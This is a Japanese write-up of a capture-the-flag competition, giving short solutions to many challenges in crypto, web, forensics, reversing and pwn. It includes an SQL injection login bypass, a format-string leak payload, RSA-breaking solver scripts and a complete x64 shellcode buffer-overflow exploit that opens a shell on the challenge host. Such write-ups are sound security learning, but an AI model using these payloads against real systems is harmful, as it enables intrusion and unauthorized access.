解いた問題のWriteupです。問題数が多いので、書き漏らしとかもあるかもだし、あんまり解説っぽくはないですが、誰かの参考になれば。
5850点で68位でした。
Misc
Welcome
指示通りにやるだけ、ようこそCTFへ
flag{Enjoy_y0ur_time_here!}
Hash
Hashmyfilesを使って探して終わり
pass024.txtとpass034.txtとpass079.txt
flag{hardest_logic_puzzle}
F
Brainf**k
flag{Don't_Use_the_F-Word!!}
Nothing
空白とかが多いのでWhitespaceっぽいと思ったら、その通りだった。
flag{And_Then_There_Were_None}
i_knew_it
アセンブリに100h(256)があって配列初期化、最終的にxorしてるのでRC4
flag{RC4}
Network
Host
Wiresharkで見るだけ
flag{ctf.setodanote.net}
tkys_never_die
HTTP通信とflag.pngをやり取りしているのが見える。Wiresharkの機能で書き出せばflag
flag{a_treasure_trove}
echo_request
ICMPパケットのデータで1byteずつ送信してる
flag{ICMP_Tunneling_T1095}
T1095 はAtt&CKのTechnique
Digdig
Digで問い合わせている部分のhexを読み解く。
005aa0 のあとの2桁が順番
flag{DNS_S3cur17y_T1071!}
Logger
USBのデータを書き出して、打ち込まれたデータを確認する。
PostFailはShift Keyの意味。詳細はこちらを参考にしてもらえれば
newmap = {
2: "PostFail",
4: "a",
5: "b",
6: "c",
7: "d",
8: "e",
9: "f",
10: "g",
11: "h",
12: "i",
13: "j",
14: "k",
15: "l",
16: "m",
17: "n",
18: "o",
19: "p",
20: "q",
21: "r",
22: "s",
23: "t",
24: "u",
25: "v",
26: "w",
27: "x",
28: "y",
29: "z",
30: "1",
31: "2",
32: "3",
33: "4",
34: "5",
35: "6",
36: "7",
37: "8",
38: "9",
39: "0",
40: "\n",
41: "esc",
42: "del",
43: " ",
44: " ",
45: "-",
47: "{",
48: "}",
55: ".",
56: "/",
57: "CapsLock",
79: "RightArrow",
80: "LetfArrow"
}
myKeys = open('hexoutput.txt')
i = 1
res=''
for line in myKeys:
bytesArray = bytearray.fromhex(line.strip())
#print "Line Number: " + str(i)
for byte in bytesArray:
if byte != 0:
keyVal = int(byte)
if keyVal in newmap:
#print "Value map : " + str(keyVal) + " — -> " + newmap[keyVal]
print(newmap[keyVal])
print(bytesArray)
res += newmap[keyVal]
else:
print("No map found for this value: " + str(keyVal))
print(res)
#print format(byte, ‘02X’)
#PostFailPostFailoPostFailne popular bbuut unverified explanatindeloonn for the #PostFailPostFailqPostFailPostFailwPostFailPostFailePostFailPostFailrPostFailPostFailtPostFailPostFailPostFailyPostFail arrangement is that it wwaas designed to reduce #the likelihood of flagPostFailPostFail{PostFailPostFailPostFailqPostFailPostFailwPostFailPostFailePostFailPostFailPostFail-PostFailkeyb0ardPostFailPostFail-#PostFailPostFailPostFailrPostFailPostFailtPostFailPostFailyPostFailPostFail}PostFail internal clashhiing of typebarddels by placing commonly usseed combinatiiooonns #of letters farther froomm each oher inside the machine.
flag{QWE_keyb0ard_RTY}
Web
Body
ソースコードにflag
Header
HTTPヘッダ、x-setodanotectf-flag にフラグ
BurpやらWiresharkやらでみておけばOK
flag{Just_a_whisper}
puni_puni
punycodeと呼ばれるもの、デコードすると下記の通り
フラグは、さん、さん、ピー、ユー、エヌ、ワイ、
シー、オー、ディー、イー、よん、よん、です.
カタカナ表記は半角英小文字に、
ひらがな表記は半角数字にしたものがフラグです.
なお、読点は区切り文字なので取り除いてください.
flag{33punycode44}
Mistake
よくわからんなーとディレクトリトラバーサルでも探すかと思ってimagesフォルダみたらflagがあった。
flag{You_are_the_Laughing_Man,_aren't_you?}
tkys_royale
SQLiっぽいと思って適当に入力したら、エラーとクエリを教えてくれた。
適当にコメントをつけたらおしまい。よくみたらMySQLって教えてくれてた。
pass' or 1=1; #
flag{SQLi_with_b1rds_in_a_b34utiful_landscape}
Estimated
お詫びの記事に不適切な画像、そして記事が昨日(20210603)ということがわかる。
題意通りに推測して images/20210602001b.jpgにアクセスするとflagが見える。
flag{The_flag_wouldn't_like_to_end_up_in_other_peoples_photos}
Redirect
ソースコードを見るとgoogleとかがrefererの場合遷移する仕組み、ビジター詐欺とかで使われる手口
リダイレクトの内容はFiddlerなりBurpなりを使ってみていく。
途中でcallback=getFlagにする必要があるのがわかるのでそのようにするとFlag
flag{Analyz1ng_Bad_Red1rects}
OSINT
tkys_with_love
c6df6で検索すると船が出てくるのでそれがflag
Callsignは船のことらしい
flag{Symphony_of_the_Seas}
tkys_eys_only
画像に緯度経度があるのでそれを読み取る。
国連っぽいところなのが分かるので、それが回答
flag{United_Nations}
Ropeway
見たことあるなー、そこそこ大きい湖、観覧車これはもしや舘山寺では?と思って入力したらflagだった。
flag{kanzanji}
Crypto
題意通りbase64すれば答え
flag{It's_called_base64!}
ROT13
これも題意通りROT13すれば答え
flag{Even_you_Brutus?}
pui_pui
16進文字列っぽいのでCyberchefのFrom Hexを使うとflagが見える。
flag{Have_you_ever_heard_of_Hexdump?}
tkys_secret_service
ROT13かませるとCUIという文字が出てくるのと、Controlledっぽい文字が見える。
このCUIはControlled Unclassified Informationの略だと思われるので、これが換字式暗号と予想がつく。
pnopnoとかpuipuiっぽい、flagだけわかればいいので、適当にやったら通った。多分アルファベット一文字一文字に対応したマッピングはできると思うよ。
flag{puipui_car_of_mol}
Base64っぽい文字列と]b2[sで分けられている。
サイバーシェフのレシピなんだろうということで、]b2[sで分割してbase64をかけるレシピがわかる。
From_Base64('A-Za-z0-9+/=',true)
From_Hex('None')
Fork('%','_',false)
RC4({'option':'UTF8','string':'chef'},'Latin1','Latin1')
Input:NzRmNDRiMWE0Y2M2ZGNiNzc3NTMyNTcwZjk0MTE4NTMyNTcxZjE1YTE1NTJkY2M0
を読み込ませるとflag
flag{hello_baked_cipher}
vul_rsa_01
暗号文c, 公開鍵n,e が与えられている。
Nが大きくないので素因数分解できそうと予想し、msieveを使う。
$ ./msieve -q -v -e 13373801376856352919495636794117610920860037770702465464324474778341963699665011787021257
Msieve v. 1.53 (SVN Unversioned directory)
Mon Aug 23 06:55:55 2021
random seeds: 4c03013e d1b9d622
factoring 13373801376856352919495636794117610920860037770702465464324474778341963699665011787021257 (89 digits)
searching for 15-digit factors
searching for 20-digit factors
searching for 25-digit factors
200 of 214 curves
completed 214 ECM curves
commencing quadratic sieve (89-digit input)
using multiplier of 13
using generic 32kb sieve core
sieve interval: 28 blocks of size 32768
processing polynomials in batches of 8
using a sieve bound of 1532627 (58333 primes)
using large prime bound of 122610160 (26 bits)
using double large prime bound of 362532985427040 (42-49 bits)
using trial factoring cutoff of 49 bits
polynomial 'A' values have 11 factors
sieving in progress (press Ctrl-C to pause)
58758 relations (15937 full + 42821 combined from 617674 partial), need 58429
58758 relations (15937 full + 42821 combined from 617674 partial), need 58429
sieving complete, commencing postprocessing
begin with 633611 relations
reduce to 142194 relations in 11 passes
attempting to read 142194 relations
recovered 142194 relations
recovered 120278 polynomials
attempting to build 58758 cycles
found 58758 cycles in 6 passes
distribution of cycle lengths:
length 1 : 15937
length 2 : 11198
length 3 : 10287
length 4 : 7903
length 5 : 5503
length 6 : 3500
length 7 : 2072
length 9+: 2358
largest cycle: 18 relations
matrix is 58333 x 58758 (15.3 MB) with weight 3530463 (60.08/col)
sparse part has weight 3530463 (60.08/col)
filtering completed in 3 passes
matrix is 54234 x 54298 (14.2 MB) with weight 3275850 (60.33/col)
sparse part has weight 3275850 (60.33/col)
saving the first 48 matrix rows for later
matrix includes 64 packed rows
matrix is 54186 x 54298 (10.6 MB) with weight 2715063 (50.00/col)
sparse part has weight 2240850 (41.27/col)
using block size 8192 and superblock size 1179648 for processor cache size 12288 kB
commencing Lanczos iteration
memory use: 6.4 MB
lanczos halted after 858 iterations (dim = 54184)
recovered 17 nontrivial dependencies
p43 factor: 3058517013146002381763962882964790715736519
p46 factor: 4372642466716249946441875327733923056149624303
elapsed time 00:16:28
少し時間はかかったが、素因数分解完了。あとは解くだけ。
from Crypto.Util.number import *
p = 3058517013146002381763962882964790715736519
q = 4372642466716249946441875327733923056149624303
phi = (p-1) * (q-1)
e = 65537
c = 39119617768257067256541748412833564043113729163757164299687579984124653789492591457335
N = 13373801376856352919495636794117610920860037770702465464324474778341963699665011787021257
def ex_euclid(x, y):
c0, c1 = x, y
a0, a1 = 1, 0
b0, b1 = 0, 1
while c1 != 0:
m = c0 % c1
q = c0 // c1
c0, c1 = c1, m
a0, a1 = a1, (a0 - q * a1)
b0, b1 = b1, (b0 - q * b1)
return c0, a0, b0
d = ex_euclid(e, phi)[1]
p = pow(c,d,N)
print(long_to_bytes(p))
flag{weak_rsa_can_be_decrypted!}
vul_rsa_02
先ほどと与えられたものは同一だが、eの値が大きい。
このときはWiener's Attackが使える。
ここから実装をお借りしてsolverを書く。
from Crypto.Util.number import *
import ContinuedFractions
import Arithmetic
import RSAwienerHacker
c = 227982950403746746755552239763357058548502617805036635512868420433061892121830106966643649614593055827188324989309580260616202575703840597661315505385258421941843741681
n = 314346410651148884346780415550080886403387714336281086088147022485674797846237037974025946383115524274834695323732173639559408484919557273975110018517586435379414584423
e = 66936921908603214280018123951718024245768729741801173248810116559480507532472797061229726239246069153844944427944092809221289396952390359710880636835981794334459051137
d = RSAwienerHacker.hack_RSA(e,n)
print(d)
print(long_to_bytes(pow(c,d,n)))
$ python3 setodanote_vul_rsa2_solve.py
Hacked!
19780253153570454414022314122363673676673
b'\x02my\xa6\xfb\xa2t\x19X\xce\x82F(U\xa9n\xc4\xdc\x16#\x13<\xfc4\x15y\x92\x0b\xef\xc0.\xb7\xb9\xe0\xa3\xbb\xb8r\x00flag{197_Michael_J_Wiener_673}'
flag{197_Michael_J_Wiener_673}
WEARESIA
全然わからなかったがCIAという単語からひっかけたらKryptosという暗号の模様。
そんなに長くなく、前半部分はk1と呼ばれるものと一緒だったので飛ばせる。
私は次のサイトを参考にして手動でやった。
The Kryptos Sculpture Solutions
PALIMPSEST
RCDNKFR = FLAGISW
HHMKVLLTGB = EARETHENAT
MFDUTMALDU = IONSFIRSTL
MKYQTGLWLW = INEOFDEFEN
CM = SE
FLAG IS WE ARE THE NATIONS FIRST LINE OF DEFENSE
flag{WEARETHENATIONSFIRSTLINEOFDEFENSE}
Rev
Helloworld
実行して、いわれる通りに入力するとflag
PS > .\helloworld.exe
Nice try, please set some word when you run me.
PS > .\helloworld.exe test
Good job, but please set 'flag' when you run me.
PS > .\helloworld.exe flag
flag{free_fair_and_secure_cyberspace}
flag{free_fair_and_secure_cyberspace}
ELF
fileコマンド等でファイルを調べてみると、raw dataと言われる。
バイナリエディタ等で見ると、先頭4byteがおかしいので、58 58 58 58
→7F 4D 4C 46
に書き換えると
ELFのバイナリと認識する。
そのまま実行してもよいし、中身を見るとNDIOSZ]FwEICAJIU
を0x28
とXORしてるのがわかるので、それで答えてもよし。
flag{run_makiba}
Ghidraで開くと入力した文字列がflagとなる形式だとわかる。
入力した文字列は20150109
と比較しているのがわかる。
flag{20150109}
Passcode2
基本はPasscodeと一緒、中身を見ると変数と0x2a
でxorしているのがわかるので、
Pythonで計算しておく。
key = [0x18,0x1f,4,0x79,0x4f,0x5a,4,0x18,0x1a,0x1b,0x1e]
res = ''.join([chr(i ^0x2a) for i in key])
print(res)
# 25.Sep.2014
flag{25.Sep.2014}
to_analyze
_CorExeMainを呼び出しているし、TrIdでみると.NETなことがわかる。
> trid.exe .\to_analyze.exe
TrID/32 - File Identifier v2.24 - (C) 2003-16 By M.Pontello
Definitions found: 13685
Analyzing...
Collecting data from file: .\to_analyze.exe
72.5% (.EXE) Generic CIL Executable (.NET, Mono, etc.) (73123/4/13)
10.4% (.EXE) Win64 Executable (generic) (10525/10/4)
6.5% (.DLL) Win32 Dynamic Link Library (generic) (6578/25/2)
4.4% (.EXE) Win32 Executable (generic) (4505/5/1)
2.0% (.EXE) OS/2 Executable (generic) (2029/13)
dnspyでデバッガ使いながら見ると
C:\Users\321txt
のディレクトリをチェックする。
ディレクトリを作ってあげればflagが取得可能
Yes, that's the right answer.
flag{Do_y0u_Kn0w_Ursnif?}
flag{Do_y0u_Kn0w_Ursnif?}
Forensic
paint_flag
word開くと書いてあるようにdocxファイルはzipファイル
zip解答するとflagが見つかる
flag{What_m4tters_is_inside;)}
Mail
Sentというファイルを見ると添付ファイルがある、
書き出すとflag
flag{You've_clearly_done_a_good_job_there!!}
Deletedfile
ファイルをTrIDで見てみるとMaster Boot Record dumpと表示される。
> trid .\deletedfile.raw
TrID/32 - File Identifier v2.24 - (C) 2003-16 By M.Pontello
Definitions found: 13685
Analyzing...
Collecting data from file: .\deletedfile.raw
100.0% (.) Master Boot Record dump (2/1)
Autopsyで解析すると削除されたファイルの部分でflagが見つかる。
flag{nosce_te_ipsum}
Timeline
dbファイルのactivityのpayloadのところで.txtを見ていくとflagがある。
flag{Th3_Fu7Ure_1s_N0w}
browser_db
問題名通り、ファイルはSQLITEのファイル。
> trid .\stella_9s84jetw.default-release_places.sqlite
TrID/32 - File Identifier v2.24 - (C) 2003-16 By M.Pontello
Definitions found: 13685
Analyzing...
Collecting data from file: .\stella_9s84jetw.default-release_places.sqlite
100.0% (.SQLITE/SQLITE3) SQLite 3.x database (15000/1)
SQLITEの中身を見てmoz_placesをみるとflagがある
flag{goosegoosego}
tkys_another_day
exiftoolで見てみるとapngという動く画像ファイルらしい。
pipでapngモジュールがあるのでそれで、画像を取り出してみたらflag
https://github.com/eight04/pyAPNG
flag{a_fake_illness_is_the_most_serious_disease_f5ab7}
CSIRT_asks_you_01
4625,4624のログを見る。
7/19 5:24分ごろまで失敗の履歴があるので、それ以降でログインに成功しているものが不正と考える。
flag{2021/07/18_20:09:21_4624}
Programming
ZZZIPPP
1000回ほどzipされてそう、Pythonでサクッとループを回す。
>>> import zipfile
>>> n = 1000
>>> for i in range(1000):
... with zipfile.ZipFile('flag' + str(n) + '.zip') as existing_zip:
... n = n - 1
... existing_zip.extract('flag' + str(n) + '.zip')
最後flag1.zipを展開したら答え
flag{loop-zip-1989-zip-loop}
echo me
ncすると、数字がかえってくる。何回やればいいかはわからないのでpythonを使うことにする。
>>> import re
>>> import socket
>>> s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
>>> s.connect(("10.1.1.10",12020))
>>> while True:
... msg = s.recv(1024)
... print(str(msg))
... if 'flag' in str(msg):
... break
... if 'echo me' not in str(msg):
... continue
... m = re.search('echo me: ([0-9]+)',str(msg))
... print(m.group(1))
... s.send(m.group(1).encode('utf-8') + b'\n')
...
#--snip--
#b'Correct!\n\nflag{Hellow_yamabiko_Yoo-hoo!}\n'
flag{Hellow_yamabiko_Yoo-hoo!}
EZZZIPPP
パスワードzipされたので、ZZZIPPPを適当に修正すればよさそう。
>>> n = 998
>>> for i in range(998):
... with open("pass.txt","r") as f:
... pas = f.read().strip()
... with zipfile.ZipFile('flag' + str(n) + '.zip') as zp:
... try:
... zp.extractall("./",pwd=pas.encode("utf-8"))
... except RuntimeError as e:
... print(e)
... n = n - 1
flag{bdf574f15645df736df13daef06128b8}
終わってから気づいたけどpass.txtはどんどん上書きされるから、printしとくといいかも
deep_thought
計算する感じ、計算はeval使っとけばいいかなと思ったのでそうした。
>>> import re
>>> import socket
>>> import time
>>> s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
>>> s.connect(("10.1.1.10",12010))
>>> while True:
... time.sleep(1)
... msg = s.recv(1024)
... print(msg.decode('utf-8'))
... if 'flag' in msg.decode('utf-8'):
... break
... m = re.search('\[ Q[0-9]+ \]\n(.*)\n',msg.decode('utf-8'))
... ans = str(eval(m.group(1)))
... print("ans = " + ans)
... s.send(ans.encode('utf-8') + b'\n')
...
# --snip--
# flag{__42__}
flag{__42__}
Pwn
tkys_let_die
ソースコードみるとgateの変数が上書きできそうなので、それを上書きできるような文字を送り込む
flag{Alohomora}
1989
ncするとCWE-134という文字が表示される。
ソースコードはないが書式文字列のバグがあるのだろうという予想をつける。
入力した文字列を出力するようなプログラムと予想して、投げ込む。
$ nc 10.1.1.10 13030
===========================================================
_______ ________ __ ____ _ _
/ ____\ \ / / ____| /_ |___ \| || |
| | \ \ /\ / /| |__ ______ | | __) | || |_
| | \ \/ \/ / | __| |______| | ||__ <|__ _|
| |____ \ /\ / | |____ | |___) | | |
\_____| \/ \/ |______| |_|____/ |_|
==========================================================
|
flag | [0x565ed060] >> flag is here <<
|
Ready > AAAA%x.%x.%x.%x.%x.%x.%x.%x
Your Inpur : AAAAffed6150.ffed6558.565ea306.41414141.252e7825.78252e78.2e78252e.252e7825
4つめが41414141となっているので、それを呼び出せるようにする。
````
$ nc 10.1.1.10 13030
/ \ \ / / | / | | || |
| | \ \ /\ / /| | | | ) | || |
| | \ \/ \/ / | | || | || <| |
| | \ /\ / | | | |) | | |
_| \/ \/ || ||_/ ||
|
flag | [0x56656060] >> flag is here <<
|
Ready > eV.%4$s
Your Inpur :
eV.flag{Homenum_Revelio_1989}
````
shellcode
x64でshellcodeをbofする問題
import sys,re
import struct
from pwn import *
#addr_buf = int(sys.argv[1], 16)
bufsize = 80
# execve("/bin/sh", {"/bin/sh", NULL}, NULL)
shellcode = b'\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x8d\x42\x3b\x0f\x05'
r = remote('127.0.0.1', 13050)
time.sleep(1)
msg = r.recv(1024)
print(msg.decode('utf-8'))
m = re.search('\[(0x[a-f0-9]+)\]', msg.decode('utf-8'))
print(m.group(1))
addr_buf = int(m.group(1),16)
buf = shellcode
buf += b'A' * (bufsize - len(buf))
buf += b'A' * (8 - len(buf)%8) # alignment
#buf += b'AAAAAAAA'
buf += struct.pack('<Q', addr_buf)
r.send(buf+b'\n')
print(buf)
r.interactive()
$ python3 exploit.py
[+] Opening connection to 10.1.1.10 on port 13050: Done
|
target | [0x7ffdd445a8a0]
|
Well. Ready for the shellcode?
>
0x7ffdd445a8a0
b'H1\xd2RH\xb8/bin//shPH\x89\xe7RWH\x89\xe6H\x8dB;\x0f\x05AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xa0\xa8E\xd4\xfd\x7f\x00\x00'
[*] Switching to interactive mode
H1\xd2RH\xb8/bin//shPH\x89\xe7RWH\x89\xe6H\x8dB;\x0fAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xa0\xa8E\xd4\xfd\x7f
$ id
uid=999(user) gid=999(user) groups=999(user)
$ ls
bin
boot
dev
etc
home
lib
lib32
lib64
libx32
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
$ cd /home
$ ls
user
$ cd user
$ ls
flag
shellcode
$ cat flag
flag{It_is_our_ch0ices_that_show_what_w3_truly_are_far_m0re_thAn_our_abi1ities}
flag{It_is_our_ch0ices_that_show_what_w3_truly_are_far_m0re_thAn_our_abi1ities}
おわりに
中期間という取り組みやすいCTFを開催していただき@soji256さん、ありがとうございました。